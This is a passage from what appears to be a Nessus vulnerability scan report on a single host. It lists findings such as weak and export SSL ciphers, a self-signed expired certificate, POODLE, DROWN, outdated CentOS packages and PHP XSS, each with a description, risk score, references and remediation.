arcfour

The following weak client-to-server encryption algorithms are supported :

arcfour

42880 - SSL / TLS Renegotiation Handshakes MiTM Plaintext Data Injection

Synopsis

The remote service allows insecure renegotiation of TLS / SSL connections.

Description

The remote service encrypts traffic using TLS / SSL but allows a client to insecurely renegotiate the connection after the initial handshake. An unauthenticated, remote attacker may be able to leverage this issue to inject an arbitrary amount of plaintext into the beginning of the application protocol stream, which could facilitate man-in-the-middle attacks if the service assumes that the sessions before and after renegotiation are from the same 'client' and merges them at the application layer.

See Also

<http://www.ietf.org/mail-archive/web/tls/current/msg03948.html>
<http://www.g-sec.lu/practicaltls.pdf>
<https://tools.ietf.org/html/rfc5746>

Solution

Contact the vendor for specific patch information.

Risk Factor

Medium

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	36935
CVE	CVE-2009-3555
XREF	CERT:120541
XREF	CWE:310

Plugin Information

Published: 2009/11/24, Modified: 2020/06/12

Plugin Output

tcp/443/www

```
TLSSv1 supports insecure renegotiation.
```

51192 - SSL Certificate Cannot Be Trusted**Synopsis**

The SSL certificate for this service cannot be trusted.

Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.
- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.
- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

See Also

<https://www.itu.int/rec/T-REC-X.509/en>
<https://en.wikipedia.org/wiki/X.509>

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2010/12/15, Modified: 2025/06/16

Plugin Output

tcp/443/www

The following certificate was part of the certificate chain sent by the remote host, but it has a signature that uses an algorithm that Nessus does not recognize :

```

|-Subject : C=-
-/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/E=root@localhost.localdomain
|-Algorithm (OID) : 1.2.840.113549.1.1.4

The following certificate was part of the certificate chain
sent by the remote host, but it has expired :

|-Subject : C=-
-/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/E=root@localhost.localdomain
|-Not After : Oct 08 00:10:47 2010 GMT

The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=-
-/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/E=root@localhost.localdomain
|-Issuer : C=-
-/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/E=root@localhost.localdomain

```

15901 - SSL Certificate Expiry

Synopsis

The remote server's SSL certificate has already expired.

Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

Solution

Purchase or generate a new SSL certificate to replace the existing one.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

Plugin Output

tcp/443/www

The SSL certificate has already expired :

```

Subject : C=--, ST=SomeState, L=SomeCity, O=SomeOrganization, OU=SomeOrganizationalUnit, CN=localhost.localdomain,
emailAddress=root@localhost.localdomain
Issuer : C=--, ST=SomeState, L=SomeCity, O=SomeOrganization, OU=SomeOrganizationalUnit, CN=localhost.localdomain,
emailAddress=root@localhost.localdomain
Not valid before : Oct 8 00:10:47 2009 GMT
Not valid after : Oct 8 00:10:47 2010 GMT

```

35291 - SSL Certificate Signed Using Weak Hashing Algorithm

Synopsis

An SSL certificate in the certificate chain has been signed using a weak hash algorithm.

Description

The remote service uses an SSL certificate chain that has been signed using a cryptographically weak hashing algorithm (e.g. MD2, MD4, MD5, or SHA1). These signature algorithms are known to be vulnerable to collision attacks. An attacker can exploit this to generate another certificate with the same digital signature, allowing an attacker to masquerade as the affected service.

Note that this plugin reports all SSL certificate chains signed with SHA-1 that expire after January 1, 2017 as vulnerable. This is in accordance with Google's gradual sunsetting of the SHA-1 cryptographic hash algorithm.

Note that certificates in the chain that are contained in the Nessus CA database (known_CAs.inc) have been ignored.

See Also

<https://tools.ietf.org/html/rfc3279>
<http://www.nessus.org/u?9bb87bf2>
<http://www.nessus.org/u?e120eea1>
<http://www.nessus.org/u?5d894816>
<http://www.nessus.org/u?51db68aa>
<http://www.nessus.org/u?9dc7bfba>

Solution

Contact the Certificate Authority to have the SSL certificate reissued.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	11849
BID	33065
CVE	CVE-2004-2761
CVE	CVE-2005-4900
XREF	CERT:836068
XREF	CWE:310

Plugin Information

Published: 2009/01/05, Modified: 2025/04/09

Plugin Output

tcp/443/www

The following certificates were part of the certificate chain sent by the remote host, but contain hashes that are considered to be weak.

```
Subject : C=-
-/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/E=root@localhost.localdomain
Signature Algorithm : MD5 With RSA Encryption
Valid From : Oct 08 00:10:47 2009 GMT
Valid To : Oct 08 00:10:47 2010 GMT
Raw PEM certificate :
-----BEGIN CERTIFICATE-----
MIIEEDCCAA3wgAwIBAgIBADANBgkqhkiG9w0BAQQFADCBuZELMAkGA1UEBhMCLSoxEjAQBgNVBAgTCVNvbWVTdGF0ZTERMA8GA1UEB
bWVPcmdhbm16YXRpb24xHzAdBgNVBASTF1NvbWVPcmdhbm16YXRpb25hbFVuaxQxHjAcBgNVBAMTFWxvY2FsaG9zdc5sb2Nh
bGRvbWFpbjEpMCCGCSqGSIb3DQEJARYacm9v
dEBsb2Nhbgvhc3Qub9jYWxkb21hal4wHhcNMDkxMDA4MDAxMDQ3WhcNMTAxMDA4MDAxMDQ3WjCBuzELMAkGA1UEBhMCLSoxEj
AQBgNVBAgTCVNvbWVTdGF0ZTERMA8GA1UE
BxMIU29tZUNpdHkxGTAXBgnVBAsTFeNvbWVPcmdhbm16YXRpb24xHzAdBgNVBAsTF1NvbWVPcmdhbm16YXRpb25hbFVuaxQxHj
AcBgNVBAMTFWxvY2FsaG9zdc5sb2Nh
bGRvbWFpbjEpMCCGCSqGSIb3DQEJARYacm9v
dEBsb2Nhbgvhc3Qub9jYWxkb21hal4wGz8wDQYJKoZIhvCNNAQEBBQDgY0AMIGJAoGBAn4duNVEr4aLTUfsjacXKccars1oTxsd
NTIxkp7SV2PDD+mBY5shsxt/FMG7Upf4g605+W6ZEHfBWplXonDfAIXxn4AGS0lg8q20kUt9p2HzufaSLSwfSwJ+CTMwYtN8AU0jh
f3r0y8jr+jjEU0HT404YXcnDRvbI
UEHKedPsTaGmBAAGjggEcMIIBGDADbgNVHQ4FgQUAs+0wqZIYswC1Q2ZBav2uPP/MawgegGA1UdIwSB4DCB3YAUQAs+0wqZIY
sWC1Q2ZBav2uPP/mChgcGkgb4wgbsx
CzAJ
BgNVBAYTAi0tMRIwEAYDVQQIEw1Tb211U3RhdGUxETAPBgNVBAcTCFnbWVDaXR5MRkwFwYDVQQKExTB211T3nYW5pemF0aW9u
MR8wHQYDVQQLExZTb211T3JnYW5pemF0
aW9uWxbm1lMR4wHAYDVQDExVs2Nhbgvhc3Qub9jYWxkb21hal4wXKTAnBgkqhkiG9w0BCQEWGnJvb3RAbG9jYWxob3N0LmxvY2F
sZG9tYWluggEA
MAwGA1UdEwQFMANB
Af8wDQYJKoZIhvCNNAQEEBQDgYEAHvq7KPeUTn36Sz/Au95TmC7aSkhIkGVHMRGhWe7KTEf1qQffYTqJOS4xsu/FxDry9IGO
apsyILGEx57apuCYJW3tpwMUrpuXu/x9g3LM
+VghjH0xMofbueVhqlWZ+yP8LisR0r5u+FeGOBBIINAmplWX2xEdB4p97WYzP03rEQu=
-----END CERTIFICATE-----
```

89058 - SSL DROWN Attack Vulnerability (Decrypting RSA with Obsolete and Weakened encryption)**Synopsis**

The remote host may be affected by a vulnerability that allows a remote attacker to potentially decrypt captured TLS traffic.

Description

The remote host supports SSLv2 and therefore may be affected by a vulnerability that allows a cross-protocol Bleichenbacher padding oracle attack known as DROWN (Decrypting RSA with Obsolete and Weakened eNcryption). This vulnerability exists due to a flaw in the Secure Sockets Layer Version 2 (SSLv2) implementation, and it allows captured TLS traffic to be decrypted. A man-in-the-middle attacker can exploit this to decrypt the TLS connection by utilizing previously captured traffic and weak cryptography along with a series of specially crafted connections to an SSLv2 server that uses the same private key.

See Also

<https://drownattack.com/>
<https://drownattack.com/drown-attack-paper.pdf>

Solution

Disable SSLv2 and export grade cryptography cipher suites. Ensure that private keys are not used anywhere with server software that supports SSLv2 connections.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	83733
CVE	CVE-2016-0800
XREF	CERT:583776

Plugin Information

Published: 2016/03/01, Modified: 2025/04/04

Plugin Output

tcp/443/www

The remote host is affected by SSL DROWN and supports the following vulnerable cipher suites :

Low Strength Ciphers (<= 64-bit key)

```
Name Code KEX Auth Encryption MAC
-----
EXP-RC2-CBC-MD5 0x04, 0x00, 0x80 RSA(512) RSA RC2-CBC(40) MD5 export
EXP-RC4-MD5 0x02, 0x00, 0x80 RSA(512) RSA RC4(40) MD5 export
```

High Strength Ciphers (>= 112-bit key)

```
Name Code KEX Auth Encryption MAC
-----
RC4-MD5 0x01, 0x00, 0x80 RSA RSA RC4(128) MD5
```

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

Synopsis

The remote service supports the use of medium strength SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

See Also

<http://www.nessus.org/u?df5555f5>
<https://sweet32.info>

Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

CVE [CVE-2016-2183](#)

Plugin Information

Published: 2009/11/23, Modified: 2025/02/12

Plugin Output

tcp/443/www

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name Code KEX Auth Encryption MAC

```
-----  
DES-CBC3-MD5 0x07, 0x00, 0xC0 RSA RSA 3DES-CBC(168) MD5  
EDH-RSA-DES-CBC3-SHA 0x00, 0x16 DH RSA 3DES-CBC(168) SHA1  
DES-CBC3-SHA 0x00, 0x0A RSA RSA 3DES-CBC(168) SHA1
```

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

65821 - SSL RC4 Cipher Suites Supported (Bar Mitzvah)

Synopsis

The remote service supports the use of the RC4 cipher.

Description

The remote host supports the use of RC4 in one or more cipher suites.

The RC4 cipher is flawed in its generation of a pseudo-random stream of bytes so that a wide variety of small biases are introduced into the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an attacker is able to obtain many (i.e., tens of millions) ciphertexts, the attacker may be able to derive the plaintext.

See Also

<https://www.rc4nomore.com/>
<http://www.nessus.org/u?ac7327a0>
<http://cr.yo.to/talks/2013.03.12/slides.pdf>
<http://www.isg.rhul.ac.uk/tls/>
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf

Solution

Reconfigure the affected application, if possible, to avoid use of RC4 ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser and web server support.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.4 (CVSS:3.0/E:U/RL:X/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

4.2 (CVSS2#E:U/RL:ND/RC:C)

References

BID	58796
BID	73684
CVE	CVE-2013-2566
CVE	CVE-2015-2808

Plugin Information

Published: 2013/04/05, Modified: 2025/05/09

Plugin Output

tcp/443/www

List of RC4 cipher suites supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC	
EXP-RC4-MD5	0x02,	0x00,	0x80	RSA(512)	RSA RC4(40)	MD5 export
EXP-RC4-MD5	0x00,	0x03	RSA(512)	RSA	RC4(40)	MD5 export

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC	
RC4-MD5	0x01,	0x00,	0x80	RSA RSA	RC4(128)	MD5
RC4-MD5	0x00,	0x04	RSA RSA	RC4(128)	MD5	
RC4-SHA	0x00,	0x05	RSA RSA	RC4(128)	SHA1	

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

57582 - SSL Self-Signed Certificate**Synopsis**

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2012/01/17, Modified: 2022/06/14

Plugin Output

tcp/443/www

The following certificate was found at the top of the certificate chain sent by the remote host, but is self-signed and was not found in the list of known certificate authorities :

```
| -Subject : C=-
- /ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/E=root@localhost.localdomain
```

26928 - SSL Weak Cipher Suites Supported**Synopsis**

The remote service supports the use of weak SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer weak encryption.

Note: This is considerably easier to exploit if the attacker is on the same physical network.

See Also

<http://www.nessus.org/u?6527892d>

Solution

Reconfigure the affected application, if possible to avoid the use of weak ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

References

XREF	CWE:326
XREF	CWE:327
XREF	CWE:720
XREF	CWE:753
XREF	CWE:803
XREF	CWE:928
XREF	CWE:934

Plugin Information

Published: 2007/10/08, Modified: 2021/02/03

Plugin Output

tcp/443/www

Here is the list of weak SSL ciphers supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

```
Name Code KEX Auth Encryption MAC
-----
EXP-RC2-CBC-MD5 0x04, 0x00, 0x80 RSA(512) RSA RC2-CBC(40) MD5 export
EXP-RC4-MD5 0x02, 0x00, 0x80 RSA(512) RSA RC4(40) MD5 export
EXP-EDH-RSA-DES-CBC-SHA 0x00, 0x14 DH(512) RSA DES-CBC(40) SHA1 export
EDH-RSA-DES-CBC-SHA 0x00, 0x15 DH RSA DES-CBC(56) SHA1
EXP-DES-CBC-SHA 0x00, 0x08 RSA(512) RSA DES-CBC(40) SHA1 export
EXP-RC2-CBC-MD5 0x00, 0x06 RSA(512) RSA RC2-CBC(40) MD5 export
EXP-RC4-MD5 0x00, 0x03 RSA(512) RSA RC4(40) MD5 export
DES-CBC-SHA 0x00, 0x09 RSA RSA DES-CBC(56) SHA1
```

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

81606 - SSL/TLS EXPORT_RSA <= 512-bit Cipher Suites Supported (FREAK)

Synopsis

The remote host supports a set of weak ciphers.

Description

The remote host supports EXPORT_RSA cipher suites with keys less than or equal to 512 bits. An attacker can factor a 512-bit RSA modulus in a short amount of time.

A man-in-the middle attacker may be able to downgrade the session to use EXPORT_RSA cipher suites (e.g. CVE-2015-0204). Thus, it is recommended to remove support for weak cipher suites.

See Also

<https://www.smacktls.com/#freak>
<https://www.openssl.org/news/secadv/20150108.txt>
<http://www.nessus.org/u?b78da2c4>

Solution

Reconfigure the service to remove support for EXPORT_RSA cipher suites.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	71936
CVE	CVE-2015-0204
XREF	CERT:243585

Plugin Information

Published: 2015/03/04, Modified: 2021/02/03

Plugin Output

tcp/443/www

EXPORT_RSA cipher suites supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

```
Name Code KEX Auth Encryption MAC
-----
EXP-DES-CBC-SHA 0x00, 0x08 RSA(512) RSA DES-CBC(40) SHA1 export
EXP-RC2-CBC-MD5 0x00, 0x06 RSA(512) RSA RC2-CBC(40) MD5 export
EXP-RC4-MD5 0x00, 0x03 RSA(512) RSA RC4(40) MD5 export
```

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

78479 - SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)

Synopsis

It is possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

Description

The remote host is affected by a man-in-the-middle (MitM) information disclosure vulnerability known as POODLE. The vulnerability is due to the way SSL 3.0 handles padding bytes when decrypting messages encrypted using block ciphers in cipher block chaining (CBC) mode. MitM attackers can decrypt a selected byte of a cipher text in as few as 256 tries if they are able to force a victim application to repeatedly send the same data over newly created SSL 3.0 connections.

As long as a client and service both support SSLv3, a connection can be 'rolled back' to SSLv3, even if TLSv1 or newer is supported by the client and service.

The TLS Fallback SCSV mechanism prevents 'version rollback' attacks without impacting legacy clients; however, it can only protect connections when the client and service support the mechanism. Sites that cannot disable SSLv3 immediately should enable this mechanism.

This is a vulnerability in the SSLv3 specification, not in any particular SSL implementation. Disabling SSLv3 is the only way to completely mitigate the vulnerability.

See Also

<https://www.imperialviolet.org/2014/10/14/poodle.html>
<https://www.openssl.org/~bodo/ssl-poodle.pdf>
<https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00>

Solution

Disable SSLv3.

Services that must support SSLv3 should enable the TLS Fallback SCSV mechanism until SSLv3 can be disabled.

Risk Factor

Medium

CVSS v3.0 Base Score

3.4 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

3.1 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	70574
CVE	CVE-2014-3566
XREF	CERT:577193

Plugin Information

Published: 2014/10/15, Modified: 2023/06/23

Plugin Output

tcp/443/www

Nessus determined that the remote server supports SSLv3 with at least one CBC cipher suite, indicating that this server is vulnerable.

It appears that TLSv1 or newer is supported on the server. However, the Fallback SCSV mechanism is not supported, allowing connections to be "rolled back" to SSLv3.

104743 - TLS Version 1.0 Protocol Detection

Synopsis

The remote service encrypts traffic using an older version of TLS.

Description

The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of TLS 1.0 mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that aren't enabled for TLS 1.2 and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30, 2018, except for POS POI terminals (and the SSL/TLS termination points to which they connect) that can be verified as not being susceptible to any known exploits.

See Also

<https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00>

Solution

Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N)

CVSS v2.0 Base Score

6.1 (CVSS2#AV:N/AC:H/Au:N/C:C/I:P/A:N)

References

XREF

CWE:327

Plugin Information

Published: 2017/11/22, Modified: 2023/04/19

Plugin Output

tcp/443/www

TLSv1 is enabled and the server supports at least one cipher.

25254 - CentOS 3 / 4 / 5 : vixie-cron (CESA-2007:0345)

Synopsis

The remote CentOS host is missing a security update.

Description

Updated vixie-cron packages that fix a denial of service issue are now available.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The vixie-cron package contains the Vixie version of cron. Cron is a standard UNIX daemon that runs specified programs at scheduled times.

Raphael Marichez discovered a denial of service bug in the way vixie-cron verifies crontab file integrity. A local user with the ability to create a hardlink to /etc/crontab can prevent vixie-cron from executing certain system cron jobs. (CVE-2007-1856)

All users of vixie-cron should upgrade to these updated packages, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?87a685e4>
<http://www.nessus.org/u?e4a4c680>
<http://www.nessus.org/u?c4504c97>
<http://www.nessus.org/u?a2550b51>
<http://www.nessus.org/u?f74db359>
<http://www.nessus.org/u?77668d2d>
<http://www.nessus.org/u?1d6171ff>
<http://www.nessus.org/u?f4a40410>

Solution

Update the affected vixie-cron package.

Risk Factor

Low

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

1.6 (CVSS2#E:U/RL:OF/RC:C)

References

BID	23520
CVE	CVE-2007-1856
XREF	RHSA:2007:0345

Plugin Information

Published: 2007/05/20, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : vixie-cron-4.1-44.EL4
Should be : vixie-cron-4.1-47.EL4

26004 - CentOS 4 : cyrus-sasl (CESA-2007:0795)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

An updated cyrus-sasl package that addresses a security issue and fixes various other bugs is now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The cyrus-sasl package contains the Cyrus implementation of SASL. SASL is the Simple Authentication and Security Layer, a method for adding authentication support to connection-based protocols.

A bug was found in cyrus-sasl's DIGEST-MD5 authentication mechanism.

As part of the DIGEST-MD5 authentication exchange, the client is expected to send a specific set of information to the server. If one of these items (the 'realm') was not sent or was malformed, it was possible for a remote unauthenticated attacker to cause a denial of service (segmentation fault) on the server. (CVE-2006-1721)

This errata also fixes the following bugs :

* the Kerberos 5 library included in Red Hat Enterprise Linux 4 was not thread safe. This update adds functionality which allows it to be used safely in a threaded application.

* several memory leak bugs were fixed in cyrus-sasl's DIGEST-MD5 authentication plug-in.

* /dev/urandom is now used by default on systems which don't support hwrandom. Previously, dev/random was the default.

* cyrus-sasl needs zlib-devel to build properly. This dependency information is now included in the package.

Users are advised to upgrade to this updated cyrus-sasl package, which resolves these issues.

See Also

<http://www.nessus.org/u?1ae5a69a>
<http://www.nessus.org/u?c9d20067>
<http://www.nessus.org/u?98886c09>

Solution

Update the affected cyrus-sasl packages.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:N/A:P)

References

CVE-2006-1721
XREF-RHSA:2007:0795

Plugin Information

Published: 2007/09/07, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : cyrus-sasl-2.1.19-5.EL4
Should be : cyrus-sasl-2.1.19-14
```

```
Remote package installed : cyrus-sasl-devel-2.1.19-5.EL4
Should be : cyrus-sasl-devel-2.1.19-14
```

```
Remote package installed : cyrus-sasl-md5-2.1.19-5.EL4
Should be : cyrus-sasl-md5-2.1.19-14
```

```
Remote package installed : cyrus-sasl-plain-2.1.19-5.EL4
Should be : cyrus-sasl-plain-2.1.19-14
```

10114 - ICMP Timestamp Request Remote Date Disclosure

Synopsis

It is possible to determine the exact time set on the remote host.

Description

The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time.

Solution

Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14).

Risk Factor

Low

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:N)

References

CVE-1999-0524
XREF-CWE:200

Plugin Information

Published: 1999/08/01, Modified: 2024/10/07

Plugin Output

icmp/0

The difference between the local and remote clocks is 7711 seconds.

17709 - PHP < 4.4.2 Multiple XSS Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple cross-site scripting vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.2. Such versions are potentially affected by multiple cross-site scripting vulnerabilities when display_errors and html_errors are on.

See Also

http://www.php.net/releases/4_4_2.php

Solution

Upgrade to PHP version 4.4.2 or later.

Risk Factor

LOW

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

2.3 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2006-0208
XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2011/11/18, Modified: 2024/11/22

Plugin Output

tcp/80/www

Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.2

17709 - PHP < 4.4.2 Multiple XSS Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple cross-site scripting vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.2. Such versions are potentially affected by multiple cross-site scripting vulnerabilities when display_errors and html_errors are on.

See Also

http://www.php.net/releases/4_4_2.php

Solution

Upgrade to PHP version 4.4.2 or later.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

2.3 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2006-0208
XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2011/11/18, Modified: 2024/11/22

Plugin Output

tcp/443/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.2
```

70658 - SSH Server CBC Mode Ciphers Enabled

Synopsis

The SSH server is configured to use Cipher Block Chaining.

Description

The SSH server is configured to support Cipher Block Chaining (CBC) encryption. This may allow an attacker to recover the plaintext message from the ciphertext.

Note that this plugin only checks for the options of the SSH server and does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable CBC mode cipher encryption, and enable CTR or GCM cipher mode encryption.

Risk Factor

Low

CVSS v3.0 Base Score

